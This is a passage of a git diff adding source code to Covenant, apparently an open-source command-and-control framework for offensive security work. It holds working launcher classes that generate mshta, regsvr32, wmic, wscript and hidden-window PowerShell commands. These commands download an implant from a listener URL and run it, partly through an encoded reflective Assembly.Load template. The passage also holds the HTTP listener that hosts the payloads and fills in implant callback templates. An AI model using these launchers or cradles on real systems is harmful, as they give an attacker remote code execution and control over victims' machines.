System.Reflection.Assembly.Load(oms.ToArray()).EntryPoint.Invoke(0, new object[] { }); + ]]> + + + +"; + } +} diff --git a/Covenant/Models/Launchers/MshtaLauncher.cs b/Covenant/Models/Launchers/MshtaLauncher.cs new file mode 100644 index 00000000..8dd67595 --- /dev/null +++ b/Covenant/Models/Launchers/MshtaLauncher.cs @@ -0,0 +1,43 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class MshtaLauncher : ScriptletLauncher + { + public MshtaLauncher() + { + this.Name = "Mshta"; + this.Type = LauncherType.Mshta; + this.Description = "Uses mshta.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects."; + this.ScriptType = ScriptletType.TaggedScript; + this.OutputKind = OutputKind.DynamicallyLinkedLibrary; + } + + protected override string GetLauncher(String code) + { + string launcher = "mshta" + " " + "file.hta"; + this.LauncherString = launcher; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + Uri hostedLocation = new Uri(httpListener.Url + hostedFile.Path); + string launcher = "mshta" + " " + hostedLocation; + this.LauncherString = launcher; + return launcher; + } + else { return ""; } + } + } +} diff --git a/Covenant/Models/Launchers/PowerShellLauncher.cs b/Covenant/Models/Launchers/PowerShellLauncher.cs new file mode 100644 index 00000000..26763e9b --- /dev/null +++ b/Covenant/Models/Launchers/PowerShellLauncher.cs @@ -0,0 +1,71 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Grunts; +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class PowerShellLauncher : Launcher + { + public string ParameterString { get; set; } = "-Sta -Nop -Window Hidden"; + public string PowerShellCode { get; set; } + public string EncodedLauncherString { get; set; } + + public PowerShellLauncher() + { + this.Type = LauncherType.PowerShell; + this.Description = "Uses powershell.exe to launch a Grunt using [System.Reflection.Assembly]::Load()"; + this.Name = "PowerShell"; + this.OutputKind = OutputKind.WindowsApplication; + } + + public PowerShellLauncher(String parameterString) : base() + { + this.ParameterString = parameterString; + } + + public override string GetLauncher(Listener listener, Grunt grunt, HttpProfile profile) + { + this.StagerCode = listener.GetGruntStagerCode(grunt, profile); + this.Base64ILByteString = listener.CompileGruntStagerCode(grunt, profile, this.OutputKind, true); + this.PowerShellCode = PowerShellLauncherCodeTemplate.Replace("{{GRUNT_IL_BYTE_STRING}}", this.Base64ILByteString); + return GetLauncher(PowerShellCode); + } + + private string GetLauncher(string code) + { + string launcher = "powershell " + this.ParameterString + " "; + launcher += "-EncodedCommand "; + // PowerShell EncodedCommand MUST be Unicode encoded, frustrating. + launcher += Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(code)); + this.EncodedLauncherString = launcher; + + launcher = "powershell " + this.ParameterString + " "; + launcher += "-Command \"" + code.Replace("\"", "\\\"\\\"") + "\""; + this.LauncherString = launcher; + + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + Uri hostedLocation = new Uri(httpListener.Url + hostedFile.Path); + string code = "iex (New-Object Net.WebClient).DownloadString('" + hostedLocation + "')"; + this.LauncherString = GetLauncher(code); + return this.LauncherString; + } + else { return ""; } + } + + // Using Set-Variable (sv) and Get-Variable (gv) to avoid "$" special character issues if executing from a PowerShell prompt instead of cmd + private static string PowerShellLauncherCodeTemplate = @"sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('{{GRUNT_IL_BYTE_STRING}}'),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@())|Out-Null"; + } +} diff --git a/Covenant/Models/Launchers/Regsvr32Launcher.cs b/Covenant/Models/Launchers/Regsvr32Launcher.cs new file mode 100644 index 00000000..541e331b --- /dev/null +++ b/Covenant/Models/Launchers/Regsvr32Launcher.cs @@ -0,0 +1,47 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class Regsvr32Launcher : ScriptletLauncher + { + public string ParameterString { get; set; } = "/u /s"; + public string DllName { get; set; } = "scrobj.dll"; + + public Regsvr32Launcher() + { + this.Name = "Regsvr32"; + this.Type = LauncherType.Regsvr32; + this.Description = "Uses regsvr32.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects."; + this.ScriptType = ScriptletType.Scriptlet; + this.OutputKind = OutputKind.DynamicallyLinkedLibrary; + } + + protected override string GetLauncher(string code) + { + string launcher = "regsvr32 " + this.ParameterString + " /i:file.sct " + this.DllName; + this.LauncherString = launcher; + + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + Uri hostedLocation = new Uri(httpListener.Url + hostedFile.Path); + string launcher = "regsvr32 " + this.ParameterString + " /i:" + hostedLocation + " " + this.DllName; + this.LauncherString = launcher; + return launcher; + } + else { return ""; } + } + } +} diff --git a/Covenant/Models/Launchers/WmicLauncher.cs b/Covenant/Models/Launchers/WmicLauncher.cs new file mode 100644 index 00000000..22a9b88a --- /dev/null +++ b/Covenant/Models/Launchers/WmicLauncher.cs @@ -0,0 +1,42 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class WmicLauncher : ScriptletLauncher + { + public WmicLauncher() + { + this.Name = "Wmic"; + this.Type = LauncherType.Wmic; + this.Description = "Uses wmic.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects."; + this.ScriptType = ScriptletType.Stylesheet; + this.OutputKind = OutputKind.DynamicallyLinkedLibrary; + } + protected override String GetLauncher(string code) + { + string launcher = "wmic os get /format:\"" + "file.xls" + "\""; + this.LauncherString = launcher; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + Uri hostedLocation = new Uri(httpListener.Url + hostedFile.Path); + string launcher = "wmic os get /format:\"" + hostedLocation + "\""; + this.LauncherString = launcher; + return launcher; + } + else { return ""; } + } + } +} diff --git a/Covenant/Models/Launchers/WscriptLauncher.cs b/Covenant/Models/Launchers/WscriptLauncher.cs new file mode 100644 index 00000000..cb9315aa --- /dev/null +++ b/Covenant/Models/Launchers/WscriptLauncher.cs @@ -0,0 +1,42 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Linq; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Listeners; + +namespace Covenant.Models.Launchers +{ + public class WscriptLauncher : ScriptletLauncher + { + public WscriptLauncher() + { + this.Name = "Wscript"; + this.Type = LauncherType.Wscript; + this.Description = "Uses wscript.exe to launch a Grunt using a COM activated Delegate and ActiveXObjects."; + this.ScriptType = ScriptletType.Plain; + this.OutputKind = OutputKind.DynamicallyLinkedLibrary; + } + + protected override string GetLauncher(string code) + { + string launcher = "wscript" + " " + "file.js"; + this.LauncherString = launcher; + return this.LauncherString; + } + + public override string GetHostedLauncher(Listener listener, HostedFile hostedFile) + { + HttpListener httpListener = (HttpListener)listener; + if (httpListener != null) + { + string launcher = "wscript" + " " + hostedFile.Path.Split('/').Last(); + this.LauncherString = launcher; + return launcher; + } + else { return ""; } + } + } +} diff --git a/Covenant/Models/Listeners/HttpListener.cs b/Covenant/Models/Listeners/HttpListener.cs new file mode 100644 index 00000000..6143c62e --- /dev/null +++ b/Covenant/Models/Listeners/HttpListener.cs @@ -0,0 +1,1033 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Linq; +using System.Net; +using System.Net.Http; +using System.Threading; +using System.Collections.Generic; +using System.Security.Cryptography.X509Certificates; + +using Microsoft.AspNetCore.Routing; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.StaticFiles; +using Microsoft.AspNetCore.Identity.EntityFrameworkCore; +using Microsoft.EntityFrameworkCore; +using Microsoft.Extensions.Configuration; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; + +using NLog.Web; +using NLog.Config; +using NLog.Targets; + +using Newtonsoft.Json; + +using Covenant.API; +using APIModels = Covenant.API.Models; +using Covenant.Models.Grunts; +using Covenant.Core; + +namespace Covenant.Models.Listeners +{ + public class HostedFile + { + public int Id { get; set; } + public int ListenerId { get; set; } + public string Path { get; set; } + public string Content { get; set; } + } + + public class HttpListener : Listener + { + public bool UseSSL { get; set; } = false; + private string _SSLCertificateFile + { + get + { + return Common.CovenantResourceDirectory + "httplistener-" + this.Id + "-certificate.pfx"; + } + } + private string _SSLCertificate = ""; + public string SSLCertificate + { + get + { + return _SSLCertificate; + } + set + { + _SSLCertificate = value; + if (_SSLCertificate != "") + { + File.WriteAllBytes(_SSLCertificateFile, Convert.FromBase64String(value)); + } + } + } + + public string SSLCertificatePassword { get; set; } = "CovenantDev"; + + public string SSLCertHash + { + get + { + if (_SSLCertificate == "" || !File.Exists(_SSLCertificateFile)) { return ""; } + try + { + X509Certificate2 cert = new X509Certificate2(_SSLCertificateFile, this.SSLCertificatePassword); + return cert.GetCertHashString(); + } + catch (Exception) { return ""; } + } + } + + public string Url + { + get + { + string scheme = (UseSSL ? "https://" : "http://"); + return scheme + this.ConnectAddress + ":" + this.BindPort; + } + set + { + Uri uri = new Uri(value); + this.UseSSL = uri.Scheme == "https"; + this.ConnectAddress = uri.Host; + this.BindPort = uri.Port; + } + } + + public HttpListener() + { + this.Description = "Listens on HTTP protocol."; + } + + public HttpListener(int ListenerTypeId, int ProfileId) : this() + { + this.ListenerTypeId = ListenerTypeId; + this.ProfileId = ProfileId; + } + + public static HttpListener Create(APIModels.HttpListener httpListenerModel) + { + HttpListener listener = new HttpListener(httpListenerModel.ListenerTypeId ?? default, httpListenerModel.ProfileId ?? default); + listener.Id = httpListenerModel.Id ?? default; + listener.Name = httpListenerModel.Name; + listener.Description = httpListenerModel.Description; + listener.ProfileId = httpListenerModel.ProfileId ?? default; + listener.UseSSL = httpListenerModel.UseSSL ?? default; + listener.SSLCertificate = httpListenerModel.SslCertificate; + listener.SSLCertificatePassword = httpListenerModel.SslCertificatePassword; + listener.Url = httpListenerModel.Url; + listener.ConnectAddress = httpListenerModel.ConnectAddress; + listener.BindAddress = httpListenerModel.BindAddress; + listener.BindPort = httpListenerModel.BindPort ?? default; + listener.ListenerTypeId = httpListenerModel.ListenerTypeId ?? default; + listener.Status = (ListenerStatus)Enum.Parse(typeof(ListenerStatus), httpListenerModel.Status.ToString()); + listener.CovenantToken = httpListenerModel.CovenantToken; + return listener; + } + + public override CancellationTokenSource Start(HttpProfile profile) + { + IWebHost host = BuildWebHost(profile); + + using (var scope = host.Services.CreateScope()) + { + var services = scope.ServiceProvider; + HttpListenerContext context = services.GetRequiredService(); + context.Database.EnsureCreated(); + if (!context.listener.Any()) + { + context.listener.Add(this); + } + context.SaveChanges(); + } + CancellationTokenSource cancellationTokenSource = new CancellationTokenSource(); + LoggingConfiguration loggingConfig = new LoggingConfiguration(); + var consoleTarget = new ColoredConsoleTarget(); + var fileTarget = new FileTarget(); + loggingConfig.AddTarget("console", consoleTarget); + loggingConfig.AddTarget("file", fileTarget); + consoleTarget.Layout = @"${longdate}|${event-properties:item=EventId_Id}|${uppercase:${level}}|${logger}|${message} ${exception:format=tostring}"; + fileTarget.Layout = @"${longdate}|${event-properties:item=EventId_Id}|${uppercase:${level}}|${logger}|${message} ${exception:format=tostring}"; + fileTarget.FileName = Common.CovenantLogDirectory + "covenant-http.log"; + loggingConfig.AddRule(NLog.LogLevel.Warn, NLog.LogLevel.Fatal, "console"); + loggingConfig.AddRule(NLog.LogLevel.Warn, NLog.LogLevel.Fatal, "file"); + + var logger = NLogBuilder.ConfigureNLog(loggingConfig).GetCurrentClassLogger(); + + System.Threading.Tasks.Task task = host.RunAsync(cancellationTokenSource.Token); + // Don't love this, but we wait to see if the Listener throws an error on Startup + Thread.Sleep(100); + if (task.Status != System.Threading.Tasks.TaskStatus.Faulted) + { + this.Status = ListenerStatus.Active; + return cancellationTokenSource; + } + return null; + } + + public override void Stop(CancellationTokenSource cancellationTokenSource) + { + if (this.Status == ListenerStatus.Active) + { + cancellationTokenSource.Cancel(); + this.Status = ListenerStatus.Stopped; + } + } + + private IWebHost BuildWebHost(HttpProfile profile) + { + WebHostBuilder builder = new WebHostBuilder(); + builder.UseKestrel(options => + { + options.AddServerHeader = false; + if (UseSSL) + { + options.Listen(new IPEndPoint(IPAddress.Parse(this.BindAddress), this.BindPort), listenOptions => + { + listenOptions.UseHttps(httpsOptions => + { + httpsOptions.ServerCertificate = new X509Certificate2(_SSLCertificateFile, this.SSLCertificatePassword); + httpsOptions.SslProtocols = System.Security.Authentication.SslProtocols.Tls12 | + System.Security.Authentication.SslProtocols.Tls11 | + System.Security.Authentication.SslProtocols.Tls; + }); + }); + } + }); + + return builder.UseContentRoot(Directory.GetCurrentDirectory()) + .ConfigureLogging((hostingContext, logging) => + { + // logging.AddConfiguration(hostingContext.Configuration.GetSection("Logging")); + logging.AddConsole(); + logging.AddDebug(); + logging.AddFilter("System", LogLevel.Warning) + .AddFilter("Microsoft", LogLevel.Warning); + }) + .UseNLog() + .UseStartup() + .UseSetting("CovenantToken", this.CovenantToken) + .UseSetting("ProfileUrls", profile.HttpUrls) + .UseUrls((this.UseSSL ? "https://" : "http://") + this.BindAddress + ":" + this.BindPort) + .Build(); + } + + public HostedFile HostFile(HostedFile hostFileRequest) + { + hostFileRequest.Path = hostFileRequest.Path.TrimStart('/').TrimStart('\\'); + string FullPath = Path.GetFullPath(Path.Combine(Common.CovenantStaticHostDirectory, hostFileRequest.Path)); + if (!FullPath.StartsWith(Common.CovenantStaticHostDirectory)) { throw new CovenantDirectoryTraversalException(); } + FileInfo file = new FileInfo(FullPath); + if(!file.Directory.Exists) + { + file.Directory.Create(); + } + foreach (char invalid in Path.GetInvalidFileNameChars()) + { + file.Name.Replace(invalid, '_'); + } + string uriPath = file.FullName.Replace(Common.CovenantStaticHostDirectory, ""); + Uri uri = new Uri(this.Url + "/" + uriPath); + hostFileRequest.Path = uri.AbsolutePath; + File.WriteAllBytes(file.FullName, Convert.FromBase64String(hostFileRequest.Content)); + + return hostFileRequest; + } + + public void UnhostFile(HostedFile hostFileRequest) + { + string FullPath = Path.GetFullPath(Path.Combine(Common.CovenantStaticHostDirectory, hostFileRequest.Path)); + if (!FullPath.StartsWith(Common.CovenantStaticHostDirectory)) { throw new CovenantDirectoryTraversalException(); } + FileInfo file = new FileInfo(FullPath); + if(file.Exists) + { + file.Delete(); + } + } + + public override string GetGruntStagerCode(Grunt grunt, HttpProfile profile) + { + return this.GruntTemplateReplace(GruntStagerTemplateCode, grunt, profile); + } + + public override string GetGruntExecutorCode(Grunt grunt, HttpProfile profile) + { + return this.GruntTemplateReplace(GruntExecutorTemplateCode, grunt, profile); + } + + private string GruntTemplateReplace(string CodeTemplate, Grunt grunt, HttpProfile profile) + { + string ConnectUrl = (this.UseSSL ? "https://" : "http://") + this.ConnectAddress + ":" + this.BindPort; + string HttpHeaders = ""; + foreach (HttpProfile.HttpProfileHeader header in JsonConvert.DeserializeObject>(profile.HttpRequestHeaders)) + { + HttpHeaders += "ProfileHttpHeaderNames.Add(@\"" + this.FormatForVerbatimString(header.Name) + "\");\n"; + HttpHeaders += "ProfileHttpHeaderValues.Add(@\"" + this.FormatForVerbatimString(header.Value) + "\");\n"; + } + string HttpUrls = ""; + foreach (string url in JsonConvert.DeserializeObject>(profile.HttpUrls)) + { + HttpUrls += "ProfileHttpUrls.Add(@\"" + this.FormatForVerbatimString(url) + "\");\n"; + } + string HttpCookies = ""; + foreach (string cookie in JsonConvert.DeserializeObject>(profile.HttpCookies)) + { + HttpCookies += "ProfileHttpCookies.Add(@\"" + this.FormatForVerbatimString(cookie) + "\");\n"; + } + + return CodeTemplate + .Replace("// {{REPLACE_PROFILE_HTTP_TRANSFORM}}", profile.HttpMessageTransform) + .Replace("// {{REPLACE_PROFILE_HTTP_HEADERS}}", HttpHeaders) + .Replace("// {{REPLACE_PROFILE_HTTP_URLS}}", HttpUrls) + .Replace("// {{REPLACE_PROFILE_HTTP_COOKIES}}", HttpCookies) + .Replace("{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}", this.FormatForVerbatimString(profile.HttpGetResponse)) + .Replace("{{REPLACE_PROFILE_HTTP_POST_REQUEST}}", this.FormatForVerbatimString(profile.HttpPostRequest)) + .Replace("{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}", this.FormatForVerbatimString(profile.HttpPostResponse)) + .Replace("{{REPLACE_COVENANT_URI}}", this.FormatForVerbatimString(ConnectUrl)) + .Replace("{{REPLACE_COVENANT_CERT_HASH}}", this.FormatForVerbatimString(this.UseSSL ? this.SSLCertHash : "")) + .Replace("{{REPLACE_GRUNT_ID}}", this.FormatForVerbatimString(grunt.Id.ToString())) + .Replace("{{REPLACE_GRUNT_NAME}}", this.FormatForVerbatimString(grunt.Name)) + .Replace("{{REPLACE_DELAY}}", this.FormatForVerbatimString(grunt.Delay.ToString())) + .Replace("{{REPLACE_JITTER}}", this.FormatForVerbatimString(grunt.Jitter.ToString())) + .Replace("{{REPLACE_CONNECT_ATTEMPTS}}", this.FormatForVerbatimString(grunt.ConnectAttempts.ToString())) + .Replace("{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}", this.FormatForVerbatimString(grunt.GruntSharedSecretPassword)); + } + + private string FormatForVerbatimString(string replacement) + { + return replacement.Replace("\"", "\"\"").Replace("{", "{{").Replace("}", "}}").Replace("{{0}}", "{0}"); + } + + private static string GruntStagerTemplateCode = File.ReadAllText(Path.Combine(Common.CovenantGruntDirectory, "GruntStager" + ".cs")); + private static string GruntExecutorTemplateCode = File.ReadAllText(Path.Combine(Common.CovenantGruntDirectory, "Grunt" + ".cs")); + } + + public class HttpListenerContext : IdentityDbContext + { + public DbSet listener { get; set; } + public HttpListenerContext(DbContextOptions options) : base(options) + { + + } + + protected override void OnModelCreating(ModelBuilder builder) + { + base.OnModelCreating(builder); + builder.Entity().ToTable("HttpListener"); + } + } + + public class HttpListenerStartup + { + public IConfiguration Configuration { get; } + public HttpListenerStartup(IConfiguration configuration) + { + Configuration = configuration; + } + + // This method gets called by the runtime. Use this method to add services to the container. + public void ConfigureServices(IServiceCollection services) + { + services.AddTransient(api => { + X509Certificate2 covenantCert = new X509Certificate2(Common.CovenantPublicCertFile); + HttpClientHandler clientHandler = new HttpClientHandler(); + clientHandler.ServerCertificateCustomValidationCallback = (sender, cert, chain, errors) => + { + return cert.GetCertHashString() == covenantCert.GetCertHashString(); + }; + return new CovenantAPI( + new Uri("https://localhost:7443"), + new Microsoft.Rest.TokenCredentials(Configuration["CovenantToken"]), + clientHandler + ); + }); + services.AddDbContext(opt => opt.UseInMemoryDatabase("HttpListenerDatabase")); + services.AddMvc(); + services.AddAuthorization(options => + { + options.AddPolicy("RequireAdministratorRole", policy => policy.RequireRole("Administrator")); + }); + + } + + // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. + public void Configure(IApplicationBuilder app, IHostingEnvironment env) + { + app.UseMvc(routes => + { + foreach (string route in JsonConvert.DeserializeObject>(Configuration["ProfileUrls"])) + { + routes.MapRoute(route, route, new { controller = "HttpListener", action = "Get" }); + routes.MapRoute(route + "Post", route, new { controller = "HttpListener", action = "Post" }); + } + }); + + var ContentTypeProvider = new FileExtensionContentTypeProvider(contentTypeMappings); + app.UseStaticFiles(new StaticFileOptions + { + FileProvider = new Microsoft.Extensions.FileProviders.PhysicalFileProvider(Common.CovenantStaticHostDirectory), + RequestPath = "", + ContentTypeProvider = ContentTypeProvider, + ServeUnknownFileTypes = true, + DefaultContentType = "text/plain" + }); + } + + // Credit - https://github.com/samuelneff/MimeTypeMap + private static IDictionary contentTypeMappings = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + {".323", "text/h323"}, + {".3g2", "video/3gpp2"}, + {".3gp", "video/3gpp"}, + {".3gp2", "video/3gpp2"}, + {".3gpp", "video/3gpp"}, + {".7z", "application/x-7z-compressed"}, + {".aa", "audio/audible"}, + {".AAC", "audio/aac"}, + {".aaf", "application/octet-stream"}, + {".aax", "audio/vnd.audible.aax"}, + {".ac3", "audio/ac3"}, + {".aca", "application/octet-stream"}, + {".accda", "application/msaccess.addin"}, + {".accdb", "application/msaccess"}, + {".accdc", "application/msaccess.cab"}, + {".accde", "application/msaccess"}, + {".accdr", "application/msaccess.runtime"}, + {".accdt", "application/msaccess"}, + {".accdw", "application/msaccess.webapplication"}, + {".accft", "application/msaccess.ftemplate"}, + {".acx", "application/internet-property-stream"}, + {".AddIn", "text/xml"}, + {".ade", "application/msaccess"}, + {".adobebridge", "application/x-bridge-url"}, + {".adp", "application/msaccess"}, + {".ADT", "audio/vnd.dlna.adts"}, + {".ADTS", "audio/aac"}, + {".afm", "application/octet-stream"}, + {".ai", "application/postscript"}, + {".aif", "audio/aiff"}, + {".aifc", "audio/aiff"}, + {".aiff", "audio/aiff"}, + {".air", "application/vnd.adobe.air-application-installer-package+zip"}, + {".amc", "application/mpeg"}, + {".anx", "application/annodex"}, + {".apk", "application/vnd.android.package-archive" }, + {".application", "application/x-ms-application"}, + {".art", "image/x-jg"}, + {".asa", "application/xml"}, + {".asax", "application/xml"}, + {".ascx", "application/xml"}, + {".asd", "application/octet-stream"}, + {".asf", "video/x-ms-asf"}, + {".ashx", "application/xml"}, + {".asi", "application/octet-stream"}, + {".asm", "text/plain"}, + {".asmx", "application/xml"}, + {".aspx", "application/xml"}, + {".asr", "video/x-ms-asf"}, + {".asx", "video/x-ms-asf"}, + {".atom", "application/atom+xml"}, + {".au", "audio/basic"}, + {".avi", "video/x-msvideo"}, + {".axa", "audio/annodex"}, + {".axs", "application/olescript"}, + {".axv", "video/annodex"}, + {".bas", "text/plain"}, + {".bcpio", "application/x-bcpio"}, + {".bin", "application/octet-stream"}, + {".bmp", "image/bmp"}, + {".c", "text/plain"}, + {".cab", "application/octet-stream"}, + {".caf", "audio/x-caf"}, + {".calx", "application/vnd.ms-office.calx"}, + {".cat", "application/vnd.ms-pki.seccat"}, + {".cc", "text/plain"}, + {".cd", "text/plain"}, + {".cdda", "audio/aiff"}, + {".cdf", "application/x-cdf"}, + {".cer", "application/x-x509-ca-cert"}, + {".cfg", "text/plain"}, + {".chm", "application/octet-stream"}, + {".class", "application/x-java-applet"}, + {".clp", "application/x-msclip"}, + {".cmd", "text/plain"}, + {".cmx", "image/x-cmx"}, + {".cnf", "text/plain"}, + {".cod", "image/cis-cod"}, + {".config", "application/xml"}, + {".contact", "text/x-ms-contact"}, + {".coverage", "application/xml"}, + {".cpio", "application/x-cpio"}, + {".cpp", "text/plain"}, + {".crd", "application/x-mscardfile"}, + {".crl", "application/pkix-crl"}, + {".crt", "application/x-x509-ca-cert"}, + {".cs", "text/plain"}, + {".csdproj", "text/plain"}, + {".csh", "application/x-csh"}, + {".csproj", "text/plain"}, + {".css", "text/css"}, + {".csv", "text/csv"}, + {".cur", "application/octet-stream"}, + {".cxx", "text/plain"}, + {".dat", "application/octet-stream"}, + {".datasource", "application/xml"}, + {".dbproj", "text/plain"}, + {".dcr", "application/x-director"}, + {".def", "text/plain"}, + {".deploy", "application/octet-stream"}, + {".der", "application/x-x509-ca-cert"}, + {".dgml", "application/xml"}, + {".dib", "image/bmp"}, + {".dif", "video/x-dv"}, + {".dir", "application/x-director"}, + {".disco", "text/xml"}, + {".divx", "video/divx"}, + {".dll", "application/x-msdownload"}, + {".dll.config", "text/xml"}, + {".dlm", "text/dlm"}, + {".doc", "application/msword"}, + {".docm", "application/vnd.ms-word.document.macroEnabled.12"}, + {".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document"}, + {".dot", "application/msword"}, + {".dotm", "application/vnd.ms-word.template.macroEnabled.12"}, + {".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"}, + {".dsp", "application/octet-stream"}, + {".dsw", "text/plain"}, + {".dtd", "text/xml"}, + {".dtsConfig", "text/xml"}, + {".dv", "video/x-dv"}, + {".dvi", "application/x-dvi"}, + {".dwf", "drawing/x-dwf"}, + {".dwp", "application/octet-stream"}, + {".dxr", "application/x-director"}, + {".eml", "message/rfc822"}, + {".emz", "application/octet-stream"}, + {".eot", "application/vnd.ms-fontobject"}, + {".eps", "application/postscript"}, + {".etl", "application/etl"}, + {".etx", "text/x-setext"}, + {".evy", "application/envoy"}, + {".exe", "application/octet-stream"}, + {".exe.config", "text/xml"}, + {".fdf", "application/vnd.fdf"}, + {".fif", "application/fractals"}, + {".filters", "application/xml"}, + {".fla", "application/octet-stream"}, + {".flac", "audio/flac"}, + {".flr", "x-world/x-vrml"}, + {".flv", "video/x-flv"}, + {".fsscript", "application/fsharp-script"}, + {".fsx", "application/fsharp-script"}, + {".generictest", "application/xml"}, + {".gif", "image/gif"}, + {".gpx", "application/gpx+xml"}, + {".group", "text/x-ms-group"}, + {".gsm", "audio/x-gsm"}, + {".gtar", "application/x-gtar"}, + {".gz", "application/x-gzip"}, + {".h", "text/plain"}, + {".hdf", "application/x-hdf"}, + {".hdml", "text/x-hdml"}, + {".hhc", "application/x-oleobject"}, + {".hhk", "application/octet-stream"}, + {".hhp", "application/octet-stream"}, + {".hlp", "application/winhlp"}, + {".hpp", "text/plain"}, + {".hqx", "application/mac-binhex40"}, + {".hta", "application/hta"}, + {".htc", "text/x-component"}, + {".htm", "text/html"}, + {".html", "text/html"}, + {".htt", "text/webviewhtml"}, + {".hxa", "application/xml"}, + {".hxc", "application/xml"}, + {".hxd", "application/octet-stream"}, + {".hxe", "application/xml"}, + {".hxf", "application/xml"}, + {".hxh", "application/octet-stream"}, + {".hxi", "application/octet-stream"}, + {".hxk", "application/xml"}, + {".hxq", "application/octet-stream"}, + {".hxr", "application/octet-stream"}, + {".hxs", "application/octet-stream"}, + {".hxt", "text/html"}, + {".hxv", "application/xml"}, + {".hxw", "application/octet-stream"}, + {".hxx", "text/plain"}, + {".i", "text/plain"}, + {".ico", "image/x-icon"}, + {".ics", "application/octet-stream"}, + {".idl", "text/plain"}, + {".ief", "image/ief"}, + {".iii", "application/x-iphone"}, + {".inc", "text/plain"}, + {".inf", "application/octet-stream"}, + {".ini", "text/plain"}, + {".inl", "text/plain"}, + {".ins", "application/x-internet-signup"}, + {".ipa", "application/x-itunes-ipa"}, + {".ipg", "application/x-itunes-ipg"}, + {".ipproj", "text/plain"}, + {".ipsw", "application/x-itunes-ipsw"}, + {".iqy", "text/x-ms-iqy"}, + {".isp", "application/x-internet-signup"}, + {".ite", "application/x-itunes-ite"}, + {".itlp", "application/x-itunes-itlp"}, + {".itms", "application/x-itunes-itms"}, + {".itpc", "application/x-itunes-itpc"}, + {".IVF", "video/x-ivf"}, + {".jar", "application/java-archive"}, + {".java", "application/octet-stream"}, + {".jck", "application/liquidmotion"}, + {".jcz", "application/liquidmotion"}, + {".jfif", "image/pjpeg"}, + {".jnlp", "application/x-java-jnlp-file"}, + {".jpb", "application/octet-stream"}, + {".jpe", "image/jpeg"}, + {".jpeg", "image/jpeg"}, + {".jpg", "image/jpeg"}, + {".js", "application/javascript"}, + {".json", "application/json"}, + {".jsx", "text/jscript"}, + {".jsxbin", "text/plain"}, + {".latex", "application/x-latex"}, + {".library-ms", "application/windows-library+xml"}, + {".lit", "application/x-ms-reader"}, + {".loadtest", "application/xml"}, + {".lpk", "application/octet-stream"}, + {".lsf", "video/x-la-asf"}, + {".lst", "text/plain"}, + {".lsx", "video/x-la-asf"}, + {".lzh", "application/octet-stream"}, + {".m13", "application/x-msmediaview"}, + {".m14", "application/x-msmediaview"}, + {".m1v", "video/mpeg"}, + {".m2t", "video/vnd.dlna.mpeg-tts"}, + {".m2ts", "video/vnd.dlna.mpeg-tts"}, + {".m2v", "video/mpeg"}, + {".m3u", "audio/x-mpegurl"}, + {".m3u8", "audio/x-mpegurl"}, + {".m4a", "audio/m4a"}, + {".m4b", "audio/m4b"}, + {".m4p", "audio/m4p"}, + {".m4r", "audio/x-m4r"}, + {".m4v", "video/x-m4v"}, + {".mac", "image/x-macpaint"}, + {".mak", "text/plain"}, + {".man", "application/x-troff-man"}, + {".manifest", "application/x-ms-manifest"}, + {".map", "text/plain"}, + {".master", "application/xml"}, + {".mda", "application/msaccess"}, + {".mdb", "application/x-msaccess"}, + {".mde", "application/msaccess"}, + {".mdp", "application/octet-stream"}, + {".me", "application/x-troff-me"}, + {".mfp", "application/x-shockwave-flash"}, + {".mht", "message/rfc822"}, + {".mhtml", "message/rfc822"}, + {".mid", "audio/mid"}, + {".midi", "audio/mid"}, + {".mix", "application/octet-stream"}, + {".mk", 